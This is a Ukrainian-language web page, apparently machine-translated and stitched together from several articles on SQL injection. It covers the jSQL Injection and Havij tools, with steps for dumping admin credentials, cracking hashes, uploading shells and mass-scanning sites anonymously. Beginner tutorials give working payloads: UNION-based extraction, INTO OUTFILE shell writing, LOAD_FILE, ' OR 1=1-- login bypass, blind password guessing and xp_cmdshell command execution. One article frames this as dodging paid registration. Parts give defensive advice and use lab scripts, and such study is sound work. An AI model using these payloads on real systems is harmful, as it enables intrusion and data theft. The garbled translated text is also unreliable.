SQL Injection від і до. Інструкція з використання jSQL Injection — багатофункціонального інструменту пошуку та експлуатації SQL-ін'єкцій у Kali Linux Завантажити програму пошуку sql injection

Запустіть завантажений файл подвійним кліком(потрібно мати віртуальну машину ).

3. Анонімність під час перевірки сайту на SQL-ін'єкції

Налаштування Tor та Privoxy у Kali Linux

[Розділ у розробці]

Налаштування Tor та Privoxy у Windows

[Розділ у розробці]

Налаштування роботи через проксі в jSQL Injection

[Розділ у розробці]

4. Перевірка сайту на SQL-ін'єкції з jSQL Injection

Робота з програмою дуже проста. Достатньо ввести адресу сайту та натиснути ENTER.

На наступному скріншоті видно, що сайт вразливий відразу до трьох видів SQL-ін'єкцій (інформація про них вказана в нижньому правому куті). Клікаючи на назви ін'єкцій можна переключити використовуваний метод:

Також нам вже виведено наявні бази даних.

Можна переглянути вміст кожної таблиці:

Зазвичай найцікавішим у таблицях є облікові дані адміністратора.

Якщо вам пощастило і ви знайшли дані адміністратора, то радіти рано. Потрібно ще знайти адмінку, куди ці дані вводити.

5. Пошук адмінок з jSQL Injection

Для цього перейдіть на наступну вкладку. Тут нас зустрічає перелік можливих адрес. Ви можете вибрати одну або кілька сторінок для перевірки:

Зручність у тому, що не потрібно використовувати інші програми.

На жаль, недбайливих програмістів, які зберігають паролі у відкритому вигляді, не дуже багато. Досить часто в рядку пароля ми бачимо щось на зразок

8743b52063cd84097a65d1633f5c74f5

Це хеш. Розшифрувати його можна брутфорсом. І… jSQL Injection має вбудований брутфорсер.

6. Брутфорсинг хешей за допомогою jSQL Injection

Безсумнівною зручністю є те, що не потрібно шукати інші програми. Тут є підтримка багатьох найпопулярніших хешей.

Це не самий оптимальний варіант. Для того, щоб стати гуру в розшифровці хешей, рекомендується російською мовою.

Але, звичайно, коли під рукою немає іншої програми або немає часу на вивчення, jSQL Injection з вбудованою функцією брут-форсу буде дуже доречним.

Існують установки: можна задати які символи входять у пароль, діапазон довжини пароля.

7. Операції з файлами після виявлення SQL-ін'єкцій

Крім операцій з базами даних - їх читання та модифікація, у разі виявлення SQL-ін'єкцій можливе виконання наступних файлових операцій:

  • читання файлів на сервері
  • вивантаження нових файлів на сервер
  • вивантаження шеллів на сервер

І все це реалізовано у jSQL Injection!

Є обмеження – у SQL-сервера мають бути файлові привілеї. У розумних системних адміністраторіввони відключені та доступу до файловій системіотримати не вдасться.

Наявність файлових привілеїв досить легко перевірити. Перейдіть до однієї з вкладок (читання файлів, створення шелла, завантаження нового файлу) і спробуйте виконати одну із зазначених операцій.

Ще дуже важливе зауваження – нам потрібно знати точний абсолютний шлях до файлу з яким ми будемо працювати – інакше нічого не вийде.

Подивіться на наступний скріншот:

На будь-яку спробу операції з файлом нам відповідають: No FILE privilege(Немає файлових привілеїв). І нічого тут вдіяти не можна.

Якщо натомість у вас інша помилка:

Problem writing into [назва_каталогу]

Це означає, що ви неправильно вказали абсолютний шлях, до якого потрібно записувати файл.

Для того, щоб уявити абсолютний шлях, потрібно, як мінімум, знати операційну системуде працює сервер. Для цього перейдіть до вкладки Network.

Такий запис (рядок Win64) дає підстави нам припустити, що маємо справу з ОС Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Connection: Keep-Alive Method: HTTP/1.1 200 OK Content-Length: 353 Date: Fri, 11 Dec 20 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Тут у нас якийсь із Unix (*BSD, Linux):

Transfer-Encoding: chunked Дата: Fri, 11 Dec 2015 11:57:02 GMT Метод: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

А тут у нас CentOS:

Метод: HTTP/1.1 200 OK Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Connection: keep-alive X-Cache-Lookup: MISS від t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS від t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Fri, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

У Windows типовою папкою для сайтів є C:\Server\data\htdocs\. Але, насправді, якщо хтось «додумався» робити сервер на Windows, то, можливо, ця людина нічого не чула про привілеї. Тому починати спроби слід прямо з каталогу C:/Windows/:

Як бачимо, все пройшло чудово з першого разу.

Але самі шелли jSQL Injection у мене викликають сумніви. Якщо є файлові привілеї, то ви можете завантажити що-небудь з веб-інтерфейсом.

8. Масова перевірка сайтів на SQL-ін'єкції

І навіть ця функція є у jSQL Injection. Все дуже просто - завантажуєте список сайтів (можна імпортувати з файлу), вибираєте ті, які хочете перевірити та натискаєте відповідну кнопку для початку операції.

Висновок з jSQL Injection

jSQL Injection – хороший, потужний інструмент для пошуку та подальшого використання знайдених на сайтах SQL-ін'єкцій. Його безперечні плюси: простота використання, вбудовані супутні функції. jSQL Injection може стати найкращим другом новачка під час аналізу веб-сайтів.

З недоліків я б наголосив на неможливості редагування баз даних (принаймні я цього функціоналу не знайшов). Як і у всіх інструментів з графічним інтерфейсом, До недоліків цієї програми можна приписати неможливість використання у скриптах. Проте деяка автоматизація можлива і в цій програмі завдяки вбудованій функції масової перевірки сайтів.

Програмою jSQL Injection користуватися значно зручніше, ніж sqlmap. Але sqlmap підтримує більше видів SQL-ін'єкцій, має опції для роботи з файловими брандмауерами і деякі інші функції.

Підсумок: jSQL Injection — найкращий друг хакера-початківця.

Довідку з даної програми в Енциклопедії Kali Linux ви знайдете на цій сторінці: http://kali.tools/?p=706

Havij – це програма, яка служить для перевірки наявності вразливостей веб-сайтів. Найчастіше її використовують не зовсім за основним призначенням, а саме – для впровадження SQL-ін'єкцій. Саме тому інструмент найчастіше відносять до " хакерського " ПЗ.

Принцип роботи

За допомогою цього додаткуможна здійснювати атаки на веб-сервіс з метою зміни SQL-вираз шляхом конкантенації. У разі успіху ін'єкція дозволяє модифікувати логіку виконання запиту користувача під власні потреби. Найчастіше в ході атаки створюється просто відбиток (fingerprinting) БД, після чого з неї імпортуються необхідні дані, наприклад база користувачів або адміністраторська обліковий запис. За наявності вразливостей, недоброзичливець навіть може взаємодіяти з Back-end частиною веб-програми. Зокрема, подібне використання дозволяє домогтися можливості виконання потрібних команд на сервері або переглянути необхідні файли на стороні хоста.

Можливості

Havij дає можливість зберігати хеші паролів та дампи таблиці. Програма дозволяє виконувати різні типи ін'єкцій: error-based SQL injection, UNION query SQL injection, stacked queries SQL injection, time-based blind SQL injection, а також boolean-based blind SQL injection. Інструмент працює з HTTPS та підтримує самі різні типиСУБД: MSAccess, MySQL, Oracle, PostgreSQ і навіть Sybase. За необхідності, Havij може працювати в кілька потоків через проксі.

Синтаксис коду, що впроваджується, можна редагувати "руками". Також перед початком атаки дозволяється вибрати список ключових слів, стовпців таблиць або типів даних (наприклад - цілих або дробових чисел).

У процесі роботи Havij веде докладний лог операцій, які після завершення атаки зберігається в папці з програмою. Інтерфейс програми досить інтуїтивний, а всі основні елементи управління тут вміщуються в одному вікні.

Ключові особливості

  • виконання SQL-ін'єкцій із потрібним синтаксисом;
  • підтримка різних варіантів застосування;
  • пошук вразливостей сайтів та додатків;
  • можливість роботи з різними типамиСУБД;
  • підтримка протоколу HTTPS та проксі.

SQL ін'єкція - це атака, яка задіяє динамічні оператори SQL, виносячи в коментарі певні частини інструкцій або додаючи умову, яка завжди буде істинною. Вона націлена на діри в архітектурі веб-застосунків і використовує оператори SQL для виконання шкідливого SQL-коду.

У цій статті ми розглянемо методи, які використовуються при SQL-ін'єкціях та способи захисту веб-застосунків від таких атак.

Як працює SQL-ін'єкціях

Типи атак, які можуть бути виконані з використанням SQL-ін'єкції, різняться за типом механізмів бази даних, що уражаються. Атака націлюється на динамічні оператори SQL. Динамічний оператор — це оператор, який створюється під час виконання на основі параметрів веб-форми або рядка запиту URI .

Розглянемо просте веб-додаток із формою входу. Код HTML-форми наведено нижче:

  • Форма приймає адресу електронної пошти, а потім пароль відправляється в файл PHPз ім'ям index.php;
  • Сесія зберігається в файлі cookie. Ця можливість активується під час встановлення прапорця remember_me . Для надсилання даних використовується метод post. Це означає, що значення не відображаються в URL-адресі .

Припустимо, що запит для перевірки ідентифікатора користувача на стороні сервера виглядає так:

  • Запит використовує значення масиву $_POST безпосередньо, не саніруя його;
  • Пароль шифрується з використанням алгоритму MD5.

Ми розглянемо атаку з використанням SQL ін'єкції sqlfiddle. Відкрийте у браузері URL-адресу http://sqlfiddle.com/ . На екрані з'явиться вікно.

Примітка: Вам потрібно буде написати інструкції SQL:

Крок 1. Введіть цей код у ліву панель:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY(`id`)); insert into users (email,password) values ​​(" [email protected]"md5("abc"));

Крок 2. Натисніть кнопку « Build Schema».
Крок 3. Введіть наведений нижче код у правій панелі:

select * from users;

Крок 4. Натисніть « Run SQL». Ви побачите наступний результат:

Припустимо, що користувач надає адресу електронної пошти [email protected]і 1234 як пароль. Запит, який має бути виконаний у базі даних, може виглядати так:

Наведений вище код ін'єкції SQL приклад може бути обійдений шляхом виведення в коментарі частини пароля і додавання умови, яке завжди буде істинним. Припустимо, що зловмисник підставляє такі дані у полі адреси електронної пошти:

[email protected]" OR 1 = 1 LIMIT 1 -- " ]

та xxx у полі пароля.

Згенерований динамічний оператор буде виглядати так:

  • [email protected]закінчується однією лапкою, яка завершує рядок;
  • OR 1 = 1 LIMIT 1 — це умова, яка завжди буде істинною, вона обмежує результати, що повертаються, тільки одним записом.

0; 'AND... — це коментар SQL, який виключає частину пароля.

Скопіюйте наведений вище запит і вставте його в текстове поле SQL FiddleRun SQL, як показано нижче:

Хакерська активність: SQL-ін'єкції у веб-програми

У нас є простий веб-додаток, доступний за адресою http://www.techpanda.org/, який спеціально зроблений вразливим для атак з використанням SQL ін'єкцій для новачків у демонстраційних цілях. Код HTML-форми, наведений вище, взято зі сторінки авторизації цієї програми.

Воно забезпечує базову безпеку, Така як санація поля електронної пошти. Це означає, що наведений вище код не може використовуватися для обходу механізму.

Щоб обійти його, можна використати поле пароля. На наведеній нижче діаграмі показано кроки, які потрібно виконати:

Припустимо, що зловмисник надає такі дані:

Крок 1: Вводить [email protected]як адреса електронної пошти;
Крок 2: Вводить xxx') OR 1 = 1 -];

Натискає кнопку "Надіслати".

Він буде направлений до панелі адміністрування. Згенерований запит буде виглядати так:

На наведеній нижче діаграмі показано, як запит було згенеровано:

Тут:

  • У запиті передбачається, що використовується шифрування md5;
  • Використовується одиночна лапка і дужка, що закривається;
  • До оператора додається умова, яка завжди буде істинною.

Як правило, зловмисники для досягнення своєї мети намагаються застосувати в атаці з використанням SQL ін'єкцій кілька різних методів.

Інші типи атак з використанням SQL-ін'єкцій

SQL-ін'єкції можуть завдати набагато більших збитків, ніж вхід в систему в обхід механізму авторизації. Деякі з таких атак можуть:

  • Виконати видалення даних;
  • Виконати оновлення даних;
  • Виконати додавання даних;
  • Виконати на сервері команди, які завантажуватимуть і встановлюватимуть шкідливі програми;
  • Виконати експорт на віддалений сервер зловмисника цінних даних, таких як реквізити кредитної картки, електронна поштата паролі.

Наведений вище список не є повним. Він просто дає уявлення про те, яку небезпеку представляють SQL-ін'єкції.

Інструменти для автоматизації SQL-ін'єкцій

У наведеному прикладі ми використовували методи ручної атаки. Перед тим, як зробити SQL ін'єкцію, потрібно розуміти, що існують автоматизовані інструменти, які дозволяють виконувати атаки ефективніше та швидше:

  • SQLSmack;
  • SQLPing 2;
  • SQLMap.

Як запобігти SQL-ін'єкції

Ось кілька простих правил, які дозволять захиститися від атак з використанням SQL-ін'єкцій:

Введення даних користувача не повинно бути довіреним. Його завжди потрібно санувати, перш ніж дані використовуватимуться в динамічних операціях SQL.

Збережені процедури— вони можуть інкапсулювати SQL-запити та обробляти всі вхідні дані як параметри.

Підготовлені запити— спочатку створюються запити, а потім усі надані дані користувача обробляються як параметри. Це не впливає на синтаксис інструкції SQL.

Регулярні вирази- можуть бути використані для виявлення потенційно шкідливого кодута його видалення перед виконанням операторів SQL.

Права доступу на підключення до бази даних– щоб захиститися від SQL ін'єкцій, облікові записи, які використовуються для підключення до бази даних, повинні надаватися лише необхідні права доступу. Це допоможе обмежити дії, які SQL-оператори можуть виконувати на сервері.

Повідомлення про помилки- не повинні розкривати конфіденційну інформацію. Прості повідомлення користувача про помилки, такі як « Вибачте, виникла технічна помилка. Службу підтримки вже повідомлено про неї. Повторіть спробу пізніше», можна використовувати замість відображення запитів SQL, що викликали помилку.

Вітаю тебе, читачу. Останнім часом, я захоплююся Web-безпекою, та й певною мірою робота пов'язана з цим. Т.к. я дедалі частіше став помічати теми на різних форумах, з проханням показати, як це все працює, вирішив написати статтю. Стаття розрахована на тих, хто не стикався з подібним, але хотів би навчитися. У мережі відносно багато статей на цю тематику, але для початківців вони складні. Я постараюся описати все зрозумілою мовою та докладними прикладами.

Передмова

Для того, щоб зрозуміти цю статтю, вам не особливо знадобиться знання SQL-мови, а хоча б наявність хорошого терпіння та трохи мізків – для запам'ятовування.

Вважаю, що одного прочитання статті буде мало, т.к. нам потрібні живі приклади – як відомо практика, у процесі запам'ятовування, не буває зайвою. Тому ми писатимемо вразливі скрипти і тренуватимемося на них.

Що таке SQL ін'єкція?
Говорячи простою мовою- це атака на базу даних, яка дозволить виконати певну дію, яка не планувалася творцем скрипта. Приклад із життя:

Батько написав у записці мамі, щоб вона дала Васі 100 рублів і поклав її на стіл. Переробивши це на жартівливий SQL мову, ми отримаємо:
ДОСТАННЯ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі

Так як батько погано написав записку (Корявий почерк), і залишив її на столі, її побачив брат Васі - Петя. Петя, будучи хакером, дописав там «Або Пете» і вийшов такий запит:
ДОСТАННЯ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі АБО Петі

Мама прочитавши записку, вирішила, що Васі вона давала гроші вчора і дала 100 рублів Петі. Ось простий приклад SQL ін'єкції з життя:) Не фільтруючи дані (Мама ледве розібрала почерк), Петя добився профіту.

Підготовка
Для практики Вам знадобиться архів з вихідними скриптами цієї статті. Завантажте його та розпакуйте на сервері. Також імпортуйте базу даних та встановіть дані у файлі cfg.php

Пошук SQL injection

Як Ви вже зрозуміли, ін'єкція з'являється з даних, які не фільтруються. Найпоширеніша помилка - це фільтрація передається ID. Ну грубо кажучи підставляти у всі поля лапки. Будь це GET/POST запит та навіть Cookie!

Числовий вхідний параметр
Для практики нам знадобиться скрипт index1.php. Як я вже говорив вище, підставляємо лапки в ID новини.

Т.к. у нас запит не має фільтрації:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт зрозуміє це як

SELECT * FROM news WHERE id=1"

І дасть нам помилку:
Warning: mysql_fetch_array() expects parametr 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Якщо помилку не видало - можуть бути такі причини:

1.SQL ін'єкції тут немає - Фільтруються лапки, або просто стоїть перетворення на (int)
2. Відключено виведення помилок.

Якщо все ж таки помилку вивело - Ура! Ми знайшли перший вид ін'єкції SQL - Числовий вхідний параметр.

Строковий вхідний параметр

Запити посилатимемо на index2.php. В даному файлі, запит має вигляд:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут ми робимо вибірку новини на ім'я користувача, і знову ж таки - не фільтруємо.
Знову посилаємо запит із лапкою:

Видало помилку. Ок! Значить, вразливість є. Для початку нам вистачить – приступимо до практики.

Приступаємо до дій

Трохи теорії

Напевно, Вам вже не терпиться витягти щось із цього, крім помилок. Для початку зрозумійте, що знак " -- вважається коментарем в мові SQL.

УВАГА! Перед та після нього обов'язково повинні стояти прогалини. В URL вони передаються як %20

Все, що йде після коментаря - буде відкинуто.
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Виконається вдало. Можете спробувати це на скрипті index2.php, надіславши такий запит:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Вивчіть параметр UNION. У мові SQL ключове слово UNIONзастосовується об'єднання результатів двох SQL-запитів в єдину таблицю. Тобто для того, щоби витягти щось нам потрібне з іншої таблиці.

Отримуємо з цього користь

Якщо параметр Числовий, то в запиті нам не потрібно посилати лапку і природно ставити коментар в кінці. Повернемося до скрипту index1.php.

Звернемося до скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запит до БД у нас виходить таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
І він дав нам помилку, т.к. Для роботи з поєднанням запитів, нам потрібна однакова кількість полів.

Т.к. ми не можемо вплинути на їх кількість у першому запиті, то нам потрібно підібрати їх кількість у другому, щоб вона була рівна першому.

Підбираємо кількість полів

Підбір полів робиться дуже просто, достатньо надсилати такі запити:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Помилка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Знову помилка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Помилки нема! Значить кількість стовпців дорівнює 5.

GROUP BY
Найчастіше буває, що полів може бути 20 або 40 або навіть 60. Щоб нам щоразу не перебирати їх, використовуємо GROUP BY

Якщо запит
sqlinj/index1.php?id=1 GROUP BY 2
не видав помилок, значить кількість полів більше 2. Пробуємо:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, бачимо помилку, значить у полів менше 8.

Якщо при GROUP BY 4 немає помилки, а при GROUP BY 6 - помилка, Значить кількість полів дорівнює 5

Визначення стовпців, що виводяться
Для того, щоб з першого запиту нам нічого не виводилося, достатньо підставити неіснуючий ID, наприклад:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Цією дією ми визначили, які стовпці виводяться на сторінку. Тепер, щоб замінити ці цифри на потрібну інформацію, потрібно продовжити запит.

Виведення даних

Допустимо ми знаємо, що існує таблиця usersв якій існують поля id, nameі pass.
Нам потрібно дістати Інформацію про користувача ID=1

Отже побудуємо такий запит:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт також продовжує виводити

Для цього, ми підставимо назву полів, за місце цифр 1 та 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Отримали те – що потрібно!

Для «рядкового вхідного параметра», як у скрипті index2.phpпотрібно додавати лапку на початку та знак коментаря в кінці. Приклад:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Читання/Запис файлів

Для читання та запису файлів, у користувача БД повинні мати право FILE_PRIV.
Записування файлів
Насправді, все дуже просто. Для запису файлу ми будемо використовувати функцію OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Добре, файл у нас записався. Таким чином, ми можемо залити міні-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Читання файлів
Читання файлів робиться набагато легше, ніж запис. Досить легко використовувати функцію LOAD_FILE, за місце того поля, яке ми вибираємо:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким чином, ми прочитали попередній записаний файл.

Способи захисту

Захиститись ще простіше, ніж використовувати вразливість. Просто фільтруйте дані. Якщо Ви передаєте числа, використовуйте
$id = (int) $_GET["id"];
Як підказав користувач malroc. Захищатись використанням PDO або prepared statements.

Замість завершення

На цьому хочу закінчити свою першу частину про SQL injection для початківців. У другій ми розглянемо важчі приклади ін'єкцій. Спробуйте самі писати вразливі скрипти і виконувати запити.
І запам'ятайте, не довіряйте жодному користувачеві вашого сайту.

SQL Injectionдостатньо хороша можливістьдля хакера отримати
доступ до сервера. І при невеликому зусиллі він
таки його отримує 🙂

Coder inside

Зараз робота з базами даних підтримується
Майже всіма мовами програмування, до яких можна віднести BASIC, C++, Java, PERL, PHP, Assembler і навіть JavaScript! А називаються ці програми зовсім інакше як СУБД - системи управління базами даних. Найчастіше бази даних застосовуються на вирішення фінансових завдань,
бухгалтерії, організації кадрів, але своє застосування знайшли і в Інтернеті.

Бази даних часто використовують для написання WEB-додатків. Їх використання найбільш доречно для зберігання реєстраційних даних, ідентифікаторів сесій, організації пошуку, а також інших завдань, що потребують обробки більшого.
кількість даних. Для звернення до БД використовуються серверні технології: PHP, PERL, ASP тощо. Саме тут і починається найцікавіше. Коли на сервері
встановлені всі патчі, а брандмауер блокує всі порти крім 80-ого або коли потрібна автентифікація для доступу до деяких даних, для злому хакер може використовувати SQL Injection. Суть цієї атаки полягає у використанні помилки на стику WEB технологій та SQL. Справа в тому, що багато хто web сторінкидля обробки даних, формують спеціальний SQLзапит до БД Необережне використання цієї методики може призвести до досить цікавих результатів.

SQL Injection

Для пояснення атаки уявимо собі, що ти зайшов на сайт, щоб завантажити одну дуже важливу тулзу і з жахом помічаєш, що зробити це може тільки зареєстрований користувач, а реєстрація, звичайно ж, коштує грошей 🙂 Останні зароблені віддавати не хочеться, а без програми ніяк! Саме час згадати у тому як
звертатися до баз даних SQL. Наприклад, перевірка логіна та пароля, на PHP може мати такий вигляд:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я додав два коментарі, "AUTHENTICATION OK" - замість нього повинен
йти код, який виконається в тому випадку, якщо пароль та логін вірні. Інший "AUTHENTICATION ERROR" - місце, де буде описаний код, що виконується у разі їх неправильності. Якщо заповнити форму, то запит вийде схожим на http://www.server.com?login=user&password=31337, де www.server.com ім'я
сервера, якого ми намагаємося підключитися. Ми знайшли те, що шукали, а тому знову повернемося до роботи SQL. Отже, якщо ви для авторизації повинні вказати логін та пароль, то сформований SQLзапит матиме такий вигляд:

SELECT * FROM users WHERE login="user" AND
password="31337"

Це означає приблизно таке: поверни мені всі записи з бази даних users, у яких логін "user", а пароль "31337". Якщо існує такий запис, значить користувач зареєстрований, а якщо ні, то ні... Але за певних обставин все можна виправити. Мається на увазі ситуація, коли програма не перевіряє вміст даних або перевіряє не повністю, на наявність SQLінструкції. В даному прикладі звіряються два поля login та password, але якщо в якості пароля вказати "31337" AND email=" [email protected]"(без подвійних лапок), то запит вийде вже трохи іншим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [email protected]"

І у разі існування поля email ця умова також буде перевірена. Якщо згадати основи булевої алгебри, то спадає на думку що крім операції "і" існує і "або", а оскільки їх використання підтримується SQL, можна вище
описаним способом додати умову, яка завжди повертає істину. Для здійснення даного, необхідно як логін вказати "user" OR 1=1--", в такому випадку запит набуде вигляду:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Спочатку слід знати, що "--" означає кінець запиту, і все після "--"
оброблятись не буде! Виходить, ніби ми запитали:

SELECT * FROM users WHERE login="user" OR 1=1

Як ви бачите ми додали умову "1=1", значить критерієм перевірки буде "якщо логін "user" або 1=1", але 1 завжди одно 1 (виняток може бути тільки арифметика Дані Шеповалова:)). Щоб перевірити наші підозри
забиваємо в адресному рядку "http://www.server.com?login=user or 1=1-&&password=31337". Це призводить до того, що не відіграє ролі який саме логін ми вказали, а
тим більше пароль! І ми в матрі ... ой, в системі і можемо спокійно качати те, що нам необхідно.

Але це все теоретично. Насправді нам невідомо як формується запит, які дані передаються у якій послідовності. Тому необхідно вказувати "user" OR 1=1--" для всіх полів. Також слід перевірити форму відправки на наявність прихованих полів. У HTML вони описуються як " Якщо такі існують, збережіть сторінку і поміняйте значення даних полів. Значення, що містяться в них, часто забувають перевіряти на наявність SQL інструкцій. повний шляхдо скрипту, що обробляє цей запит.

Але не завжди також відомо як сформований запит,
минулий приклад можна було сформувати і такими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

У такому випадку можна спробувати такі варіанти:

" OR 1=1--
" OR 1=1--
OR 1=1--
" OR "a"="a
" OR "a"="a
") OR ("a"="a
OR "1"="1"

Все залежить від призначення скрипта та від програміста. Оскільки кожній людині властиво все робити за своєю, то цілком можливо, що програміст вибере найпростіший варіант. Тому не слід відразу
здаватися, якщо ви отримаєте відмову. Необхідно
випробувати якомога більше варіантів...

Password detection

Обходити авторизацію непогано, але дуже часто дірка яку ви використовуєте закривається, і все, що було для вас доступно губиться.
Цього й слід було очікувати, якщо програміст не дурень він
згодом прикриє всі лазівки. Таких ситуацій можна легко позбутися заздалегідь подбавши про це. Правильним рішенням може стати вгадування пароля за допомогою
аналізу результатів аутентифікації Для початку пробуємо вгадати пароль, для цього введемо його місце:

" OR password>"a

Якщо нам дадуть відповідь, що авторизація пройдена, значить пароль
починається не на букву "а", а на якусь із наступних за списком. Рухаємось далі та підставляємо
місце "a", наступні "b", "c", "d", "e"... і т.д. поки нам не дадуть відповіді, що пароль не правильний. Нехай цей процес зупинився на символі "x", у такому випадку створюються два варіанти розвитку ситуації, пароль знайдений або пароль начитається на цей символ. Щоб перевірити перший варіант, пишемо місце пароля:

" OR password="x

і якщо пароль прийнято і тебе впустили, значить ти вгадав пароль! Ну а ні, тоді слід підбирати вже другий символ,
так само, з початку. Для двох символів перевіряти
потрібно так само. Зрештою, ти отримаєш пароль, а логін шукаєш цим шляхом 🙂
Якщо знайдені пароль і логін тебе не влаштовують, можеш знайти й інші. Для цього потрібно розпочати перевірку з останнього символу знайденого пароля. Так, якщо пароль "xxx" перевіряти необхідно існування пароля
"xxy":

" OR password="xxx

щоб не проґавити не один варіант!

MS SQL Server

MS SQL Serverвзагалі знахідка, якщо втрачена необхідна фільтрація. Використовуючи вразливість SQL Injection, можна виконувати
команди на віддаленому сервері, використовуючи exec master..xp_cmdshell. Але щоб використати цю конструкцію
необхідно завершити операцію "SELECT". У SQL інструкції поділяються крапкою з комою. Тому підключиться до деякого IP по Telnet, необхідно місце пароля/логіна набрати:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server є ще кілька цікавих особливостей, що дозволяють дізнатися логіни і паролі, що зберігаються в базі даних. Для цього висновок про помилки перенаправляється на довільний сервер та їх
аналізу можна дізнатися назву таблиці, полів та їх типів. Після цього можна запитом

" UNION SELECT TOP 1 login FROM users--

(login ім'я поля містить логін, а users - ім'я таблиці,
отримані в процесі аналізу помилок).

Відповідь може бути такою:


Syntax error здійснює nvarchar value "(!LANG:admin" to a column of data type int. !}
/default.asp, line 27

Тепер ми знаємо, що користувач має ім'я "admin". Тепер ми можемо отримати його пароль:

" UNION SELECT TOP 1 password FROM users where login="admin"--

Результат:

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Syntax error error converting the nvarchar value "(!LANG:xxx" to a column of data type int. !}
/tedault.asp, line 27

Тепер нам відомо, що є користувач "admin" із паролем "xxx". Цим можна сміливо
скористатися та залогіниться в систему 😉

Але для роботи з SQL існує ще багато інших функцій,
при роботі з базою даних можна також видаляти дані, модифікувати, вставляти свої і навіть маніпулювати файлами та працювати з реєстром.
Загалом, SQL Server - керує 🙂

Захист

Але цього природно можна уникнути. Для цього можна
скористатися фільтрами,
наданими виробниками. Можна знайти свої рішення, наприклад, замінювати всі одинарні
лапки подвійними (якщо для SQLзапит ми користуєтеся одинарними), або навпаки. Можна дозволити лише використання літер і с@баки, якщо потрібно ввести
електронна адреса. А ще в перлі є дивовижна
функція 🙂 quote() у модулі DBI::DBD, яка успішно робить ваш запит безпечним по відношенню до SQL. Рішень багато, необхідно просто ними
користуватися. Інакше навіщо тоді все це...



Завантаження...
Top